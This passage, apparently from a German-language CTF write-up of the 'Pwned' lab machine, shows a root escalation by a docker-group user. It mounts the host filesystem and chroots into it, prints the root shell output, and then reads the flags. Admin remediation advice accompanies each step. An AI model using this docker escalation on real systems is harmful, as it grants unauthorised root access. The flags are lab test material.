Empfehlung (Pentester): Führe den recherchierten Docker-Befehl aus.
Empfehlung (Admin): Verstehe die Risiken der Docker-Gruppenmitgliedschaft.

 docker container. I searched on GTFO Bins
-----------------------------------------------
                     

Proof of Concept (Root)

Analyse: Als Benutzer `selena` wird der Docker-Befehl `docker run -v /:/mnt --rm -it alpine chroot /mnt sh` ausgeführt. - `docker run`: Startet einen neuen Container. - `-v /:/mnt`: Mountet das Root-Verzeichnis (`/`) des Host-Systems in das Verzeichnis `/mnt` innerhalb des Containers. - `--rm`: Löscht den Container automatisch nach dem Beenden. - `-it`: Startet den Container interaktiv und weist ihm ein Pseudo-TTY zu. - `alpine`: Verwendet das minimale `alpine`-Linux-Image. - `chroot /mnt sh`: Führt den Befehl `sh` innerhalb des Containers aus, wobei `/mnt` (das gemountete Root-Verzeichnis des Hosts) als neues Root-Verzeichnis (`chroot`) festgelegt wird.

Bewertung: !!Privilegieneskalation erfolgreich!!** Da `selena` Mitglied der `docker`-Gruppe ist, kann sie diesen Befehl ausführen. Durch das Mounten des Host-Root-Verzeichnisses und das anschließende `chroot` erhält der Angreifer eine Shell, die effektiv Root-Zugriff auf das Host-System hat. Der `id`-Befehl innerhalb der Shell zeigt `uid=0(root) gid=0(root)`, was den Root-Zugriff bestätigt.

Empfehlung (Pentester): Das Ziel ist erreicht. Navigiere zum Root-Verzeichnis des Hosts (`cd /root` innerhalb der chroot-Shell, was `/mnt/root` im Container entspricht) und lies die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Entziehe dem Benutzer `selena` die Mitgliedschaft in der `docker`-Gruppe. Beschränke den Zugriff auf den Docker-Socket (`/var/run/docker.sock`) nur auf absolut vertrauenswürdige Benutzer.

selena@pwned:/home$ cd ~
selena@pwned:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally 
latest: Pulling from library/alpine
Digest: sha256:...
Status: Downloaded newer image for alpine:latest
/ # id 
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11(tty),20(dialout),26(tape),27(sudo) 
/ #
                     

Analyse: Innerhalb der Root-Shell (im Docker-Container mit gemountetem Host-Root) werden Verzeichnisse aufgelistet, zum Root-Verzeichnis des Hosts gewechselt (`cd /root`) und die Root-Flag-Datei (`root.txt`) gelesen.

Bewertung: Die Root-Flag `4d4098d64e163d2726959455d046fd7c` wird erfolgreich gelesen. Zusätzliche Kommentare in der Flag-Datei geben Kontext zur Maschine.

Empfehlung (Pentester): Alle Flags wurden gefunden. Der Test kann abgeschlossen werden.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

/ # ls
bin   dev   etc   home  initrd.img      lib    lib32  lib64  libx32  lost+found  media  mnt  opt   proc  root  run   sbin  srv   sys  tmp  usr  var  vmlinuz  vmlinuz.old 
/ # cd /root
/ # ls
root.txt
/ # cat root.txt
4d4098d64e163d2726959455d046fd7c

You found me. i dont't expect this (◎ . ◎)

I am Ajay (Annlynn) i hacked your server left and this for you.

I trapped Ariana and Selena to takeover your server :)


You Pwned the Pwned congratulations :)

share the screen shot or flags to given contact details for confirmation

Telegram   https://t.me/joinchat/NGcyGxOl5slf7_Xt0kTr7g

Instgarm   ajs_walker

Twitter    Ajs_walker
                     

Analyse: Als Root (innerhalb des Containers) wird `find` verwendet, um alle `.txt`-Dateien zu finden, die "user" im Namen enthalten. Anschließend wird `/home/ariana/user1.txt` gelesen.

Bewertung: Dies findet die erste User-Flag (`fb8d98be1265dd88bac522e1b2182140`), die zuvor nicht gelesen wurde, sowie die bereits bekannte `user2.txt` und `note.txt`. Es bestätigt, dass es zwei separate User-Flags gab.

Empfehlung (Pentester): Notiere alle gefundenen Flags. Verwende die Flag aus `user2.txt` als offizielle User-Flag gemäß der abschließenden Flag-Sektion im Originaltext.
Empfehlung (Admin): Keine Aktion.

/ # find / -name "*user*.txt" 2>/dev/null 
/home/selena/user2.txt
/home/ariana/user1.txt
/ # cat /home/ariana/user1.txt
congratulations you Pwned ariana

Here is your user flag ↓↓↓↓↓↓↓

fb8d98be1265dd88bac522e1b2182140

Try harder.need become root
                     

Flags

cat /root/root.txt
4d4098d64e163d2726959455d046fd7c
cat /home/selena/user2.txt
711fdfc6caad532815a440f7f295c176